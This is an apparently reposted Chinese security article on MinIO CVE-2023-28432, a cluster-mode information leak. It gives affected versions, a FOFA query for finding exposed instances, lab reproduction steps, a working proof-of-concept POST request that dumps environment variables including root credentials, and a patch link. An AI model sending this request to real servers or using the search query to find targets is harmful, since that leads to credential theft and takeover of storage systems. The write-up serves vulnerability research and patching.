漏洞简介
MinIO是一个开源对象存储系统。在其RELEASE.2023-03-20T20-16-18Z版本（不含）以前，集群模式部署下存在一处信息泄露漏洞，攻击者可以通过发送一个POST数据包获取进程所有的环境变量，其中就包含账号密码MINIO_SECRET_KEY和MINIO_ROOT_PASSWORD。
影响版本
2019-12-17T23-16-33Z <= MinIO < RELEASE.2023-03-20T20-16-18Z
FOFA查询语句
banner=“MinIO” || header=“MinIO” || title=“MinIO Browser”漏洞复现
vulhub靶场复现该漏洞，集群启动后，访问http://your-ip:9001可以查看Web管理页面，访问http://your-ip:9000是API服务。
POC
该漏洞存在于API节点http://your-ip:9000/minio/bootstrap/v1/verify上，发送如下数据包即可查看泄露的环境变量：
POST /minio/bootstrap/v1/verify HTTP/1.1Host: *.*.*.*:9000User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeCache-Control: max-age=0Content-Type: application/x-www-form-urlencodedUpgrade-Insecure-Requests: 1
利用返回的MINIO_ROOT_USER 和 MINIO_ROOT_PASSWORD值成功登录管理后台
修复建议
补丁获取链接：
https://github.com/minio/minio/security/advisories/GHSA-6xvq-wj2x-3h3q
原文始发于微信公众号（巢安实验室）：MinIO集群模式信息泄露漏洞（CVE-2023-28432）
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论